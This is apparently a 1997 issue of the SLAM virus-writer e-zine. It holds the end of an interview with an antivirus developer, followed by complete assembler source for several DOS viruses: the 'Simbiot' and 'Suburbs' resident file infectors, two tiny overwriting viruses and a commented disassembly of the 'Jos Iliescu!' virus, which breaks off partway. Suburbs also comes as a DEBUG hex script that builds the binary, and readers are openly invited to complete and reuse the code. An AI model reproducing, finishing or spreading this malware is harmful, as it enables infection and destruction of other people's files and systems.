simple, but I kept the ugly color scheme for my programs until today. :)
And like all my programs it was written in Assembler.

> Have sales of your AV products increased or decreased?

They are just stable. It depends if my programs get mentioned in
some popular computer magazine, then they increase for a while.

> Do you see the number of new macro viruses increasing or
> decreasing over the coming months, to a year?

The number is actually exploding and we can expect to reach
at least 1000 if not 2000 or more macro viruses at the end
of 1997 (there are about 650 known ones at the moment).
The reasons for this are simple: it`s too easy to write
a macro virus (just take a look at WINWORD.HLP) and Winword
itself creates new, slightly corrupted variants due to bugs
in some critical DLLs.

> What do you think about:

--> Java

I think it`s just a nice toy for the computer industry so far.
Net computers will never become widespread when the software
keep on growing this way (ok, we all want to download some
MBs of data every time we want to write letters, don`t we?)
and the telephone companies keep on charging high prices.

--> ActiveX

Never heard about it. :)

--> Office 97?

Yet another virus platform the AV must care about. :(

--> Microsoft

Hrmph... They really should have learned some lessons about how to do
secure programs since the first version of MS-DOS, don`t they? :(

> If you could change anything about the Anti-Virus industry, what
> would it be?

a) That some companies stop claiming their program is detecting 100%
   of all viruses ("past, present and future"...). There is no
   100% detection or cleaning of viruses. Some if not most AV advertisement
   is simply ridiciulous - that is what happens if some merchandizers
   make advertisement for high-tech products they don`t understand at all.
   It`s funny to see that the products with the least level of perfection
   and features have the highest advertisement presence - and especially
   these companies exagerate too much then.
 
b) That some AV companies stop their childish press release wars (and
   similar things). They really have better things to do. :(

> Do you have any future plans?

Regarding my AV programs: Finishing F/WIN32 with a *real* macro heuristic
and VxD based virus scanning, adding VBA5.0 support etc. .
About other things, well, I don`t have much time to think about that. :)

> Do you feel the window into anti virus programming is still open
> or has the ship left the dock already, its too steep a learning
> curve for beginners?

Regarding how fast Microsoft invents new and even more complex
virus platforms I think it`s getting almost impossible to create
a really useful AV program nowadays with unique features. Even the
deafest AV companies noticed that some degree of generic virus
detection (and cleaning) is useful (alas, there are still some
products that don`t have heuristics).

The number of viruses keeps on growing very fast (though the DOS virus
increase is slowing down), you really need a person which is busy just
sorting and managing the virus base. Then you need a DOS coder, a
Windows coder (better three or more because Windows coder tend to
waste much time playing Mine Sweeper and such things :) ), some
experts to analyse new viruses, new file formats and so on.
And I think it`s difficult to find really talented coders nowadays
that care about the necessary low level stuff. Visual programming
has it`s disadvantages, sure...

> How many virus programmer have you allready persuaded
> to stop their work. (don't say noone. ;))

Hehe. None. They currently stopped because they got bored
writing viruses or reading stupid interviews. ;)
I actually cannot even persuade myself to do some work,
get up early etc, how should I be able to persude other
ones then? :)

Actually I sometimes have the impression that F/WIN has the
opposing effect - some ******* think it`s a good idea to
write some anti-F/WIN virus everytime I release a new version. :(

> If the anti virus people went by handles, what would you call
> yourself and why?

I only use a handle on IRC, and I choosed it from some funny
Robert Asprin books I read a long time ago. The person with
that name is exceptionally lazy and dull, but he also has much
luck. I think that describes me good enough, doesn`t it? :)

> Do you think it's possible to make the PERFECT av program?
> I mean a av program that find/remove all present/past viruses.

There is no perfect AV program. The day after you released it,
some virus writer will find a weak point in it and write an
virus called "AntiXYZ". And the day after that the AV program
get`s improved. This will never stop, but maybe some day
the operating systems get so complex that writing a virus
is impossible because the virus writer cannot afford to buy
the necessary information from the operating system company,
but the AV companies still can afford buying it.

> What do you think is the best asm virus at the moment?

I haven`t looked at ASM viruses for a while because they
are all getting so boring. How do you define "best"?
Best polymorphic engine, best stealth, most tricky infection
method or best code "design"? Usually, the DOS viruses
that try to combine that all into their code are very
buggy and will never spread at all. And doesn`t it seems
senseless to write a very complex polymorphic engine when
some AV programs will rip it away within some days or even
hours of improvements? Or write a very unique infection
method when there are very little files of the type the
virus can infect?

----------------------------------------------------------------------------
----------------------------------------------------------------------------

The second part will be probably in SLAM 3. ;) Info for all, who think now:
"Hey, he has stolen the question from some other interviews!"
I have taken it, because they are good and I think that's the things, 
we all want to know. Moreover I didn't have at last enough time. ;)

- Nightmare Joker -


;Simbiot virus. Written special for SLAM issue#2.
;It's not completed virus, it's only foundation for real good virus.
;
;Oneday i was reading virus-list of one russian antivirus, and there
;i found description of one interesting virus. Long time I search this
;virus, and when Night Joker connected with me firsts onces i decided to
;write the virus with 'Simbiotic' algorithm of infection.
;
;All parts of this virus is mostly standartized and there are nothing
;interesting for real virusmakers but the virus has one interesting
;part. This part is remarked in detail.
;
;Every virus sets jumping to own body at the firsts bytes of the infecting
;file and it helps to all heuristic analisators found the virus in the file.
;But these jumps we can mask!
;Almost every program have commands like this:
;B8???? mov ax,numbers
;CD21   int 21h
;If we'll be find these bytes and change them to call to body of the virus,
;and if we'll extract back-address from the stack (not need to save address
;in the virus's body) antivirus would have never seek it.
;I was realised this algorithm for COM files...
;If anybody want to complete this, o.k., go on! :)
;
;Death Knight [SLAM]

.model tiny
.code

length	equ finish-main
memory  equ (length+17)/8		;length (in paragraphs+1)*2
off1	equ (4*21h)
off2	equ (4*21h+2)

int21	macro
	call int21h
	endm

	org 0
start: 
main:	call $+3
	pop si
	sub si,3
	push ax bx cx dx si di ds es
	pushf
	mov ax,0ACCEh
	int 21h
	cmp ax,1997h
	jz already
	mov ax,ds
	dec ax
	mov ds,ax
	mov ah,ds:[0]
	cmp ah,'Z'
	jne already
	xor di,di
	mov cx,length
	mov ax,ds:[3]
	sub ax,memory
	mov ds:[3],ax
	mov ax,ds:[12h]
	sub ax,memory
	mov ds:[12h],ax
	mov es,ax
	push cs
	pop ds
	cld
	repz
	movsb
	cli	
	xor ax,ax
	mov ds,ax
	mov ax,ds:[off1]
	mov si,offset handl
	mov es:[si],ax
	mov ax,ds:[off2]
	mov es:[si+2],ax
	mov si,offset newint
        mov ds:[off1],si
        mov ds:[off2],es
	sti
already:popf
	pop es ds di si dx cx bx ax
	add si,offset blocks
	cmp word ptr cs:[si],'ZM'
	jz exesh
	pop di
	push di
	movsw
	movsw
	ret
exesh:	mov dx,ds
	add dx,10h
	mov cx,dx
	add cx,word ptr cs:[si+0eh]
	cli
	mov ss,cx
	mov sp,word ptr cs:[si+10h]
	sti
	add dx,word ptr cs:[si+16h]
	push dx
	push word ptr cs:[si+14h]
	retf

int21h:	pushf
	call dword ptr cs:[handl]
	ret
	db '>SimbioT<'
go_int:	db    0eah
handl:	dd ?
newint:	cmp ax,0ACCEh
	jnz nes1
	mov ax,1997h
	iret
nes1:
	cmp ax,4b00h
	jz hahaha
	jmp go_int
	db '>[SLAM]<'
hahaha:
	push ax bx cx dx si di es ds
	call infec
	pop ds es di si dx cx bx ax
	jmp go_int

infec:	push cs
	pop es
	push si
	mov bx,offset no_inf
	mov di,9			;number=no_inf-1
ggg1:	mov cx,8
ggg2:	push di cx
	add di,bx
	mov si,cx
	add si,dx
	mov ax,word ptr es:[di]
	cmp ax,word ptr ds:[si]
	pop cx di
	jz ennn
	cmp al,'.'
	jz ennn
	loop ggg2
	dec di
	cmp di,0
	jnz ggg1
	pop si
	jmp okk
ennn:	pop si
	ret
alread2:jmp alread
okk:	mov ax,ds
	mov word ptr cs:[attrib1+1],ax	;save filename
	mov word ptr cs:[attrib2+1],dx	;address
	mov ax,4300h
	int21
	mov word ptr cs:[attrib3+1],cx	;save attributes
	xor cx,cx			;set attributes
	mov ax,4301h			
	int21

openn:	mov ax,3D02h			;open a file
	int21				
	mov bx,ax			;copy handler to BX
	push cs
	pop ds
	mov ax,5700h			;get file time & date
	int21
	mov word ptr ds:[time1+1],dx	;save date
	mov word ptr ds:[time2+1],cx	;save time
;------------------------------------------------------------------------------
	call check			;call infection check
	jz alread2
	call comexe			;call com or exe check
	jz exec


 	cmp word ptr cs:[lengg1],61000	;check higer border of com file
	mov byte ptr cs:[offset coex],2
 	jnc alread2

	call com_in
	cmp byte ptr cs:[chh],0
	jz alread2

	jmp nez
exec:	mov ax,word ptr cs:[offset lengg1]
	mov dx,word ptr cs:[offset lengg2]
	mov byte ptr cs:[offset coex],1

	push ax dx
	mov cx,200h
	div cx
	inc ax
	mov di,offset blocks
	cmp ax,[di+4]
	jnz aganx
	cmp dx,[di+2]
aganx:	pop dx ax
	jnz alread3
	jmp nez
alread3:jmp alread2

nez:	mov ax,4202h
	xor cx,cx
	xor dx,dx
	int21
	push cs				;
	mov ah,40h			;saving
	xor dx,dx			;     virus
	mov cx,length			; block
	pop ds				;
	int21				;

	cmp byte ptr cs:[offset coex],2
	jz comme
	mov ax,word ptr cs:[offset lengg1]
	mov dx,word ptr cs:[offset lengg2]
	push ax dx
	add ax,length
	adc dx,0
	mov cx,200h
	div cx
	inc ax
	mov word ptr cs:[di+4],ax
	mov word ptr cs:[di+2],dx
	pop dx ax
	push si
	mov si,[di+8]
	mov cl,4
	shl si,cl
	sub ax,si
	pop si
	sbb dx,0
	mov cx,10h
	div cx
	mov word ptr cs:[di+22],ax
	mov word ptr cs:[di+20],dx
	mov word ptr cs:[di+14],ax
	jmp nes2a
comme:	jmp alread
	mov ax,word ptr cs:[offset lengg1]
	mov byte ptr cs:[offset blocks],0E9h
	sub ax,3
	mov word ptr cs:[offset blocks+1],ax
	
nes2a:	mov ax,4200h
	xor cx,cx
	xor dx,dx
	int21
	push cs
	pop ds
	mov ah,40h
	mov cx,18h+2
	mov dx,offset blocks
	int21
	
;------------------------------------------------------------------------------
alread:	mov ax,5701h			;set saved
time1:	mov dx,0			;date &
time2:	mov cx,0			;time
	dec cx
	int21
	mov ah,3Eh			;file closing
	int21
	mov ax,4301h
attrib1:mov dx,0			;
	mov ds,dx
attrib2:mov dx,0
attrib3:mov cx,0
	int21
no_no:	ret



check:	mov ax,4202h
	push ax
	xor cx,cx
	xor dx,dx
	int21
	mov word ptr cs:[lengg1],ax
	mov word ptr cs:[lengg2],dx
	cmp ax,2048			;check lower border of any type file
	mov cx,dx
	mov dx,ax
	pop ax
	jnc trrr
	mov al,55
	jmp laaa
trrr:	sub dx,2
	sub al,2
	int21
	push cs
	pop ds
	mov dx,offset blocks
	mov cx,2
	mov ah,3Fh
	int21
	mov ax,word ptr ds:[blocks]
	add al,ah
laaa:	cmp al,55
	ret

comexe:	xor cx,cx
	xor dx,dx
	mov ax,4200h
	int21
	push cs
	pop ds
	mov dx,offset blocks
	mov ah,3Fh
	mov cx,18h+3
	int21
	cmp word ptr cs:[blocks],'ZM'
	ret

com_in:	push di si				;Here's begin cool routine
	mov byte ptr cs:[chh],0			;simbiotic checker to 0
	xor dx,dx				;position to the
	mov ax,4200h				;start of the file
	xor cx,cx				;
	int21					;
	mov di,0-200h				;initial of block's counter
	push cs cs				;
	pop ds es				;
label1:	add di,200h				;adding read block
	mov word ptr cs:[offset itsall2+1],di	;saving it in seek pointer
	mov dx,offset sbm			;buffer for reading
	push dx					;save address of this buffer
	mov ah,3Fh				;reading
	mov cx,200h				;200h bytes from
	int21					;infecting file
	pop si					;remind buffer from the stack
	push ax					;save deal of readen bytes
	sub ax,6				;
	add si,3				;
	push ax					;this is number of loops
	pop cx					;for finding
labb1:	cmp word ptr cs:[si],21cdH		;it find 'int 21h' instruction
	jnz labb2				;in readden block
	cmp byte ptr ds:[si-3],0B8h		;it see for instruction 'mov ax,????'
	jz itsall				;if found - go to infection
	cmp byte ptr ds:[si-2],0B4h		;it see for instruction 'mov ah,??'
	jz itsall				;if found - go to infection
labb2:	inc si					;
	loop labb1				;
	pop ax					;remind deal of readen bytes
	cmp ax,200h				;
	jz label1				;if not 200h then
	pop si di				;return without
	ret					;infection :(

itsall:	pushf					;
	push ax					;
itsall2:mov dx,0				;sets pointer to the start
	xor cx,cx				;of the found block
	mov ax,4200h				;
	int21					;
	mov dx,ax				;calculating
	mov ax,word ptr cs:[lengg1]		;call-address
	sub ax,dx				;
	pop dx					;
	sub ax,dx				;
	sub ax,6				;
	mov dx,word ptr cs:[si]			;saving
	mov word ptr cs:[offset blocks],dx	;four
	mov dx,word ptr cs:[si+2]		;original
	mov word ptr cs:[offset blocks+2],dx	;bytes
	mov byte ptr cs:[si],'�'		;setting
	mov word ptr cs:[si+1],ax		;'Call'command
	popf					;
	pop cx					;saving
	mov ax,4000h				;infected
	mov dx,offset sbm			;block
	push cs					;to the
	pop ds					;file
	int21					;
	pop si di				;
	mov byte ptr cs:[chh],1			;o.k. i did it!
	ret					;



blocks:	db 0cdh,21h
	db 90h
	db 18h dup(?)
no_inf	db 'INCOAIWEWI'
	db 55
	db 0
finish:
coex:	db ?
lengg1:	dw ?
lengg2:	dw ?
ogy:	db ?
numm:	dw ?
chh:	db ?
sbm:	dw ?
	end start      �������������������������������������������������������������Ŀ
      �      Suburbs virus (c) 1997, by Virtual Daemon of SLAM      �
      ���������������������������������������������������������������

   Here's the source for the Suburbs virus. I made him a couple of time ago,
when I didn't know how to do a REAL virus... ;-)
The source is commented enough to understand it (I think), so you shouldn't 
have any difficulties...
   The virus is kind of lame, but it use a good method for going resident, 
so if you don't know it already, here's the chance for you to learn it!
   Ok. Here's some info about it...

 Virus Name: Suburbs (level 16 of DOOM ][)
 Virus Author: Virtual Daemon
 Virus Group: SLAM Virus Team
 Virus Size: 400 bytes

 Features: - resident encrypted COM infector with INT21h handler
           - infect on 4bh (execute)
           - use 80286 instructions (8086 are dead! :)
           - use the free space at the end of the interrupt table at 0:0200h
             => can't be seen with programs like MEM or TSRLIST and it
                doesn't take 1K from 640! :)
           - use INT24 handler (doesn't display errors)
           - save/restore file time/date/attributes
           - very simple encryption of the 3 bytes from JMP
           - no payload... sorry! :-(

---------------------------------- cut here -----------------------------------
;
; To build this shit use: tasm suburbs.asm
;                         tlink /t suburbs.obj
;
.286    ;use 80286 instructions (can be modified easily to work with 8086)
code segment byte
   assume cs:code,ds:code
   org 100h
begin:
   db 0e9h              ;jmp to virus_start
len dw 8                ;offset begin+8 bytes - where to Jump

   db '



   db '



   db 5 dup(90h)        ;5 NOP's+RET=a simple program so the virus can work
   ret

virus_start:
   jmp install          ;install the virus in memory

new24handler equ $-virus_start
int24handler:
   mov al,3             ;return to program indicating a failed DOS function
   iret                 ;return from interrupt
new21handler proc
   cmp ah,4bh           ;4bh=execute a file
   je infect_it         ;cool... a file was executed! let's infect it!
   jmp restore_interrup
infect_it: 
   pusha                ;save registers: ax,bx,cx,dx,bp,si,di,ds,es
   push ds
   push es 

   mov ax,4300h         ;DOS function = get file attributes
   int 21h
   push cx              ;save file attribute
   push ds              ;save the ASCIIZ adress of file
   push dx
   
   mov ax,4301h         ;DOS function = set new file attributes
   xor cx,cx            ;cx=0 => file attribute=normal file
   int 21h
   
   mov ax,3d02h         ;DOS function = open file for read-write
   int 21h
   xchg bx,ax           ;save handle in bx
   
   mov ax,0020h
   mov ds,ax            ;set DS to new adress
     
   mov word ptr ds:[buffer],bx    ;save file handle
   
   mov ax,3524h         ;DOS function = get interrupt vector (INT 24h)
   int 21h
   push es              ;save INT 24h segment
   push bx              ;save INT 24h offset

   mov ax,2524h         ;DOS function = set interrupt vector (INT 24h)
   mov dx,new24handler  ;make it point to our procedure
   int 21h
infectfile:
   mov bx,word ptr ds:[buffer]    ;restore file handle
   
   mov ax,5700h         ;DOS function = get file time/date
   int 21h
   push dx              ;save date
   push cx              ;save time
   
   mov ah,3fh           ;DOS function= read from file
   mov dx,buffer        ;save into 'buffer'
   mov cx,3             ;read 3 bytes
   int 21h
   jnc continue         ;if no error then continue
   jmp close_file       ;else close the file and return to original program
continue:
   cmp word ptr ds:[buffer],'ZM'  ;check too see if file is EXE
   je close_file                  ;is EXE? Then exit
      
   cmp word ptr ds:[buffer],'MZ'  ;check again for EXE (in ZM form)
   je close_file                  ;is EXE? Then exit
   
   mov ax,4200h         ;DOS function = set file pointer
   xor cx,cx
   mov dx,word ptr ds:[buffer+1]  ;seek to beginning+0:[buffer+1]+3
   add dx,3
   int 21h
     
   mov ah,3fh           ;DOS function = read from file
   mov dx,virus_end+2   ;from virus_end+2
   mov cx,3             ;read 3 bytes
   int 21h

   cmp byte ptr ds:[virus_end+2],0e9h  ;check if already infected
   je close_file 
encrypt:
   xor byte ptr ds:[buffer],33         ;encrypt the 3 bytes from JMP
   xor byte ptr ds:[buffer+1],133
   xor byte ptr ds:[buffer+2],45

   mov ax,4202h         ;DOS function = set file pointer
   xor cx,cx            ;seek to EOF
   xor dx,dx
   int 21h
   mov bp,ax		;bp=ax=filesize
     
   mov ah,40h           ;DOS function = write to file
   xor dx,dx            ;current buffer
   mov cx,virus_end     ;number of bytes=virus_end
   int 21h
   jc close_file        ;if error then close the file

   mov ax,4200h         ;DOS function = set file pointer
   xor cx,cx            ;seek to beginning
   xor dx,dx
   int 21h

   mov si,virus_end+1
   mov byte ptr ds:[virus_end+1],0e9h   ;put the JMP code (0e9h)
   mov ax,bp            ;bp=filesize
   sub ax,3             ;ax=filesize-3 (size of JMP code)
                                     
   mov word ptr ds:[virus_end+2],ax ;save the 2nd & 3rd bytes in JMP

   mov dx,virus_end+1   ;write new JMP (3 bytes)
   mov ah,40h           ;DOS function = write to file
   mov cx,3
   int 21h
close_file:
   mov ax,5701h         ;DOS function = set file date/time
   pop cx               ;restore time
   pop dx               ;restore date
   int 21h
   
   mov ah,3eh           ;DOS function = close file
   int 21h                   

   pop dx               ;restore INT 24h offset
   pop ds               ;restore INT 24h segment
   mov ax,2524h         ;DOS function = set interrupt vector (for INT 24h)
   int 21h
   
   mov ax,4301h         ;DOS function = set file attributes
   pop dx               ;restore the ASCIIZ adress of file
   pop ds
   pop cx               ;restore file attributes
   int 21h
   
   pop es               ;restore saved registers
   pop ds
   popa
restore_interrup:
   db 0eah              ;jmp to old INT21h vector

add21 equ $-virus_start
int21offset    dw 0     ;old INT21h offset
int21segment   dw 0     ;old INT21h segment
new21handler endp

install:
   db 66h               ;for Sourcer :^)
   pusha                ;save all registers
   push ds
   push es
     
   mov di,ds
     
   mov ax,20h
   mov ds,ax
   cmp word ptr ds:[0],0          ;check to see if already installed
   jne quit
     
   mov ds,di
     
   xor ax,ax            ;save the old INT 21h interrupt vector using direct
   mov es,ax            ;manipulation
   mov di,21h*4
   mov ax,es:[di]
   mov bx,es:[di+2]
     
   mov si,[len]
   add si,add21+103h
   mov word ptr cs:[si],ax
   mov word ptr cs:[si+2],bx 
      
   xor ax,ax
   mov di,ax
   mov si,[len]
   add si,100h+3
   push cs
   pop ds
   mov ax,0020h         ;copy virus to memory
   mov es,ax
   mov cx,virus_end
   rep movsb
     
   xor ax,ax            ;set new INT 21h handler
   mov es,ax
   mov di,21h*4
   mov word ptr es:[di],6 
   mov ax,0020h
   mov word ptr es:[di+2],ax
quit:
   mov ax,cs
   mov ds,ax
   mov es,ax
     
   mov si,[len]         ;get the 3 bytes from buffer in si register
   add si,100h+buffer+3
decrypt:
   xor byte ptr ds:[si],33         ;decrypt the 3 bytes
   xor byte ptr ds:[si+1],133
   xor byte ptr ds:[si+2],45

   mov di,100h          ;copy the 3 bytes from JMP
   mov cx,3
   rep movsb

   pop es               ;restore saved registers
   pop ds
   popa

   push 100h            ;return to host
   ret

buffer equ $-virus_start
jmpbyte1 db 177         ;the JMP instruction encrypted with a simple XOR
jmpbyte2 db 21
jmpbyte3 db 189
virus_author db '[VD/SLAM]',0
virus_name   db 'Suburbs',0
virus_end equ $-virus_start

code ends
end begin
 --------------------------------- cut here ----------------------------------

 Here's a copy of Suburbs in debug script format for those who don't have
Turbo Assember/Linker. Just enter DEBUG < script_name.

 --------------------------------- cut here ----------------------------------
N SUBURBS.COM
E 0100 E9 08 00 24 24 90 90 90 90 90 C3 E9 F3 00 B0 03
E 0110 CF 80 FC 4B 74 03 E9 E3 00 60 1E 06 B8 00 43 CD
E 0120 21 51 1E 52 B8 01 43 33 C9 CD 21 B8 02 3D CD 21
E 0130 93 B8 20 00 8E D8 89 1E 7B 01 B8 24 35 CD 21 06
E 0140 53 B8 24 25 BA 03 00 CD 21 8B 1E 7B 01 B8 00 57
E 0150 CD 21 52 51 B4 3F BA 7B 01 90 B9 03 00 CD 21 73
E 0160 03 EB 7C 90 81 3E 7B 01 4D 5A 74 73 81 3E 7B 01
E 0170 5A 4D 74 6B B8 00 42 33 C9 8B 16 7C 01 83 C2 03
E 0180 CD 21 B4 3F BA 92 01 90 B9 03 00 CD 21 80 3E 92
E 0190 01 E9 74 4B 80 36 7B 01 21 80 36 7C 01 85 80 36
E 01A0 7D 01 2D B8 02 42 33 C9 33 D2 CD 21 8B E8 B4 40
E 01B0 33 D2 B9 90 01 90 CD 21 72 25 B8 00 42 33 C9 33 
E 01C0 D2 CD 21 BE 91 01 90 C6 06 91 01 E9 8B C5 2D 03 
E 01D0 00 A3 92 01 BA 91 01 90 B4 40 B9 03 00 CD 21 B8 
E 01E0 01 57 59 5A CD 21 B4 3E CD 21 5A 1F B8 24 25 CD 
E 01F0 21 B8 01 43 5A 1F 59 CD 21 07 1F 61 EA 00 00 00 
E 0200 00 66 60 1E 06 8C DF B8 20 00 8E D8 83 3E 00 00 
E 0210 00 75 4B 8E DF 33 C0 8E C0 BF 84 00 26 8B 05 26 
E 0220 8B 5D 02 8B 36 01 01 81 C6 F5 01 2E 89 04 2E 89 
E 0230 5C 02 33 C0 8B F8 8B 36 01 01 81 C6 03 01 0E 1F 
E 0240 B8 20 00 8E C0 B9 90 01 90 F3 A4 33 C0 8E C0 BF 
E 0250 84 00 26 C7 05 06 00 B8 20 00 26 89 45 02 8C C8 
E 0260 8E D8 8E C0 8B 36 01 01 81 C6 7E 02 80 34 21 80 
E 0270 74 01 85 80 74 02 2D BF 00 01 B9 03 00 F3 A4 07 
E 0280 1F 61 68 00 01 C3 B1 15 BD 5B 56 44 2F 53 4C 41 
E 0290 4D 5D 00 53 75 62 75 72 62 73 00 
RCX
019B
W
Q
 --------------------------------- cut here ----------------------------------

                                Virtual Daemon
                Viral Development Researcher & Virii Colector
                          Member of SLAM Virus Team
                            Network Administrator
                      E-mail: virtual_daemon@hotmail.com
           Web: http://www.geocities.com/SiliconValley/Heights/3334
      �������������������������������������������������������������Ŀ
      �   The Smallest virii out there, by Virtual Daemon of SLAM   �
      ���������������������������������������������������������������

 The SLAM Terror Corpse presents... the SMALLEST virii ever!!!

   Hi there guys! Well, here are the smallest overwritting virii known in
 the world (made by me, of course ;)! If anyone has done anything smaller
 then this, PLEASE let me know... :)

   The reason that I'm presenting 2 virii is that the smallest virus that
 I've managed to make is makeing your computer to jump in an infinite loop
 so to continue, you must reboot your computer. So, the first virus
 presented here is the longer version (31 bytes) that will return to DOS
 after infection is done. The 2nd virus presented is only 23 bytes, but
 like I said, to continue you have to reboot your computer.


  Here goes the first one...
-------------------------------- cut here ---------------------------------
; Virus Name: The Smallest (cool name, ha'? :)
; Virus Author: Virtual Daemon
; Virus Group: SLAM Virus Team
; Virus Size: 31 Bytes
; Creation Time: about 3 min (original) + a little update (1 min)
;
;  Some info: This is the smallest virus in the world (at this point) which
; return to DOS prompt after infection. It doesn't put you computer
; in an infinite loop when infecting. That's why I think this is the
; smallest overwritting working virus in the world.
;
;  Well, dear Admiral Bailey I DID IT!!! :) No hard feelings... ;)
; I know that we're in 1997 (not in 1992) but what'a fuck?
; Btw: I don't do shit stuff like this all day... I just un-packed a YAM
; magazine and I saw "The Smurf virus", so...
;
; About the virus: - runtime overwritting virus
;                  - infect 1 file (of any kind) from current directory
;
.model tiny
.code
   org 100h             ;COM file
start:
   mov ah,4eh           ;find first file
   lea dx,filespec      ;what kind of files to search for
   mov cl,20h           ;cx=attribute
   int 21h

   mov ax,3d02h         ;open the file for reading & writting
   mov dx,9eh           ;get file name from DTA
   int 21h
   xchg bx,ax           ;save file handle in BX (stupid DOS... :)

   mov ah,40h           ;write the virus to file
   lea dx,start         ;begin with 100h
   dec cx               ;size of virus
   int 21h

   ret                  ;return
filespec   db '*.*',0   ;we'll be looking for this kind of files
end start
-------------------------------- cut here ---------------------------------

 And here goes the second...

-------------------------------- cut here ---------------------------------
; Virus Name: The Tinyest (Hey, waddaya want? I'm running out of names...)
; Virus Author: Virtual Daemon
; Virus Group: SLAM Virus Team
; Virus Size: 23 Bytes
; Creation Time: about 2 min
.model tiny
.code
   org 100h             ;COM file
start:
filespec   db '*.*',0   ;we'll be looking for this kind of files
                        ;this is replaced by a SUB CH instruction
   mov ah,4eh           ;find first file
intr:
   mov dx,si            ;dx=si=100h=filespec
   int 21h
   mov ax,3d02h         ;open the file for reading & writting
   mov dx,9eh           ;get file name from DTA
   int 21h
   xchg bx,ax           ;save file handle in BX (stupid DOS... :)
   mov ah,40h           ;write the virus to file
   jmp short intr       ;jmp to intr where dx will take the value 100h
end start
-------------------------------- cut here ---------------------------------

                               Virtual Daemon
               Viral Development Researcher & Virii Colector
                         Member of SLAM Virus Team
                           Network Administrator
                     E-mail: virtual_daemon@hotmail.com
          Web: http://www.geocities.com/SiliconValley/Heights/3334

      �������������������������������������������������������������Ŀ
      � "Jos Iliescu!" Virus Dissasembled by Virtual Daemon of SLAM �
      ���������������������������������������������������������������


   Before we begin here's some words from Patricia Hoffman (fat bitch).
 Note: the words between "<>" are my comments...
 -----------------------------------------------------------------------
 Virus Name: Jos    <actually it's name is "Jos Iliescu!", but...>
 Aliases:
 V Status: Rare  <"Rare" my ass! This shit has scared millions of fouls :)>
 Discovered: November, 1992
 Symptoms: .COM file growth; TSR
 Origin: Romania
 Eff Length: 1,000 Bytes
 Type Code: PRsC - Parasitic Resdent .COM Infector
 Detection Method: blah, blah, blah .... :)   <I really don't care :) >
 Removal Instructions: Delete infected files. <God! She's so stupid...>

 General coments:
   The Jos virus was submitted in November, 1992. It is originally from
 Romania. Jos is a memory resident infector of .COM programs, but not
 COMMAND.COM.
   When the first Jos infected program is executed, the Jos virus will
 install itself memory resident as a low system memory TSR of 1,312 bytes.
 Interrupts 09 and 21 will be hooked by Jos in memory.
   Once the Jos virus is memory resident, it will infect .COM programs
 when they are executed. Infected programs will have a file length
 increase of 1,000 bytes with the virus being located at the beginning
 of the file. The program's date and time in the DOS disk directory
 listing will not be altered. The following text strings are visible
 within the viral code in all Jos infected programs:
            "JABBERWOCKY
             , the first Romanian Political Virussian"
            "DhoE1"     <Sorry to disapoint you Patricia... but the "ho">
            "Dhohoho"   <part is just a simple "cr+lf" encrypted>
            "Release date 12-22-1990"
   Jos is not related to the JW2 or Jabberwocky virus.
   It it unknown what Jos does besides replicate.
<If you didn't fuck every morning with the paperboy you could have guessed>
<what this little shit does... But I guess you aint smart enough! ;-) >
---------------------------------------------------------------------------

 Ok.
   Now that you've seen this shit, let me explain what the virus actions
 are... I'm not gonna tell you how it infect files, or how it's going
 resident... The source is well comented (I think), so if you can't
 understand it, then you're a BIG LAMER! And lamers must be killed... ;-)
   Like you've seen above, the "Jos Iliescu!" virus will hook (if resident)
 the interrupts 09 and 21. Interrupt 21 is obviously why it's hooked,
 because virus needs it to infect files via 4bh (file execute). But what
 you don't know is what for interrupt 09 is hooked. Well, I'll tell ya'! :)
   Everytime a key is pressed the interrupt 09 is activated... The virus
 reads if the keys "j", "o" and "s" are typed, and if true it will add
 the word " ILIESCU! ". Btw: Iliescu was a president of Romania from 23
 dec. 1989 (the revolution) till 14 nov. 1996. For the people out there
 who doesn't know what the word "jos" means: "jos" means down. Down with
 Iliescu president! That's what this virus is all about...:) My opinion
 is that the virus is made by a comunist or by a person who didn't liked
 the revolution...
   The virus use some "never seen before" (well, very rare not never seen)
 methods for going resident, so it was cool to dissasemble it! :)

  Well, I think that's all... The source is here! You're free to use
 anything that you like, without giving credit to no one, because I don't
 know who's the author of the virus. Enjoy!

 To build this type: tasm iliescu.asm
                     tlink iliescu.obj /t
 --------------------------------- cut here ----------------------------------
psplength       equ 80h
filetime        equ 82h                         ;file time
filedate        equ 84h                         ;file date
filelength      equ 146h                        ;file length
fileattr        equ 8Ch                         ;file attributes
buffer          equ 86h                         ;reading buffer (2 bytes)
segaloc         equ 8Eh
filename        equ 88h                         ;file name pointer in ASCIIZ

mcbtype         equ 0
size1mcb        equ 3      ;address towards the dimension of the first MCB
memtop		equ 12h
data_8e         equ 156h
owner           equ 501h
mcbsize         equ 503h   ;adress towards the dimension of the second MCB
pspowner        equ 546h

corupted_file   equ 4F7h

code segment byte public
assume cs:code,ds:code
   org 100h

virus_start:
   mov bx,11eh
   mov word ptr [bx-20h],21cdh             ;'int 21h'
   mov word ptr [bx-1Eh],14ebh             ;'jmp 116h'
   xchg bp,ax
   mov ax,4bfeh                            ;dos function load and go
   mov byte ptr [bx],17h
   jmp short $-16h                         ;jump at 100h-2

   cli                                     ;disable interrupts
   xor ax,ax                               ;ax=0
   mul ah                                  ;obtain 0
   mov [bx],al                             ;first exec the jmp to cont
   jz puttext                              ;and then modify the jmp
puttext:
   mov si,offset message+28h               ;message to display
   mov cx,98h                              ;text length
   cld                                     ;clear direction
   
newchr:
   lodsb                                   ;string [si] to al
   mov ah,0Eh
   xor al,65h                              ;decode message using xor 65h
   int 10h                                 ;write char al,teletype mode
   loop newchr
delay:
   loop delay                              ;short delay before cold reset
   db 0eah                                 ;JMP 'FAR' code
   dw 0                                    ;FFFF:0000
   dw 0FFFFh                               ;do a cold reset

cont:
   mov ax,ds
   dec ax
   mov ds,ax                               ;DS=seg of MCB
   add ax,50h                              ;jmp over 500 bytes
   mov es,ax                               ;ES=seg of destination
   inc ax                                  ;jmp over 16 bytes
   mov ss,ax                               ;SS=new stack segment
   sti                                     ;enable interrupts
   std                                     ;set direction flag
fillen:
   mov di,4E20h                            ;original file length
   add di,corupted_file                    ;corrupted file
   
   mov si,di
   mov cx,si
   inc cx
   rep movsb                               ;copy upper
   mov ds:owner,ax                         ;owner
   mov ds:pspowner,ax                      ;owner in PSP
   mov ds:memtop,es                        ;memtop in PSP
   sub word ptr ds:mcbsize,50h             ;size in parag.
   xchg bx,ax                              ;bx=new PSP seg calculated above
   mov ah,50h                       ;DOS function=set active PSP seg from BX
   int 21h
   mov byte ptr ds:mcbtype,'M'             ;another block follows
